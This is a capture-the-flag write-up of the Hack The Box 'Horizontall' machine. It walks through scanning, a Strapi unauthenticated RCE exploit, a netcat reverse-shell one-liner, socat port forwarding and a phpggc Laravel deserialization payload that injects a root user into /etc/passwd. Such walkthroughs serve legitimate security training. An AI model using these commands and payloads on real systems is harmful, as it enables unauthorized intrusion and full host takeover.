Welcome to the Horizontall writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


tags: HTB Easy Linux
Platform: Hackthebox
Difficult: Easy
S.O.: Linux



To get started, we run a quick open ports scan.

$ nmap -n -sS -T5 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-31 11:08 CEST
Nmap scan report for
Host is up (0.087s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 65.38 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -Pn -A -p 22,80 --script vuln
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-31 11:16 CEST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for
Host is up (0.087s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-csrf: Couldn´t find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn´t find any DOM based XSS.
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-stored-xss: Couldn´t find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:igor_sysoev:nginx:1.14.0: 
|       CVE-2019-9513   7.8 https://vulners.com/cve/CVE-2019-9513
|       CVE-2019-9511   7.8 https://vulners.com/cve/CVE-2019-9511
|       CVE-2018-16844  7.8 https://vulners.com/cve/CVE-2018-16844
|       CVE-2018-16843  7.8 https://vulners.com/cve/CVE-2018-16843
|       CVE-2021-23017  7.5 https://vulners.com/cve/CVE-2021-23017
|       CVE-2019-9516   6.8 https://vulners.com/cve/CVE-2019-9516
|       CVE-2018-16845  5.8 https://vulners.com/cve/CVE-2018-16845
|_      PACKETSTORM:162830  0.0 https://vulners.com/packetstorm/PACKETSTORM:162830  *EXPLOIT*
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
1   86.63 ms
2   87.81 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 256.33 seconds

Source Code

Inside the website source code we can find some .js files and if we read the content of http://horizontall.htb/js/app.c68eb462.js we can find a subdomain

methods: {
    getReviews: function() {
        var t = this;
        r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
            return t.reviews = s.data


We can identify the used software strapi with whatweb.

$ whatweb http://api-prod.horizontall.htb/
http://api-prod.horizontall.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[], Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Welcome to your API], UncommonHeaders[content-security-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[Strapi <strapi.io>], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.14.0]


Now, searching in internet we can find this exploit to get Unauthenticated RCE.

Let's put a terminal to listen and run a reverse shell and hopefully we'll be lucky.

$ python3 strapi-rce.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: [email protected]
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwNDA1MzAwLCJleHAiOjE2MzI5OTczMDB9.TAmtc1S9OFrrle_KBtNSZ9YuRarLsb-wbm1CtcT4mek

$> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8787 >/tmp/f
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>


Yeah! We have shell as strapi.

$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [] from (UNKNOWN) [] 45088
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)

And we can read the user flag.

[email protected]:~/myapi$ ls /home/developer
composer-setup.php  myproject  user.txt
[email protected]:~/myapi$ cat /home/developer/user.txt

Post exploitation



If we list the listening ports we can find port 8000 that is listening locally.

[email protected]:~/.pm2$ netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0    *               LISTEN      -                    off (0.00/0/0)
tcp        0      0*               LISTEN      1811/node /usr/bin/  off (0.00/0/0)
tcp        0      0*               LISTEN      -                    off (0.00/0/0)

When we run curl on the port, we can see that there is a Laravel version 8 installation on the port.

[email protected]:~$ curl
<!DOCTYPE html>
<div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
    Laravel v8 (PHP v7.4.18)

Looking a bit on the internet, we can find this exploit.

Privilege escalation: strapi to root


In order to use the exploit, we need to do port forwarding to be able to access port 8000 from our machine. For this we are going to use socat.

We are going to load the binary to the machine.

[email protected]:~$ wget
--2021-08-31 11:34:58--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 378384 (370K) [application/octet-stream]
Saving to: ‘socat’

socat                         100%[==============================================>] 369.52K   296KB/s    in 1.2s    

2021-08-31 11:35:00 (296 KB/s) - ‘socat’ saved [378384/378384]

Now we create the tunnel...

[email protected]:~$ ./socat tcp-l:8001,fork,reuseaddr tcp:localhost:8000

And we connect to it.

$ nc 8001


The first step is to create our payload using phpggc that we can get from this repository.
The payload that we are going to create should inject a user with root privileges in the /etc/passwd file.

$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -o exploit.phar --fast-destruct monolog/rce1 system 'echo "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash" >> /etc/passwd'

And now is the time to run the exploit.

$ python3 laravel2.py exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
Exploit succeeded
+ Logs cleared

Perfect! now we only have to authenticate with the injected user and read the root flag!

[email protected]:~$ su x4v1l0k
[email protected]:/opt/strapi# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/opt/strapi# cd 
[email protected]:~# cat root.txt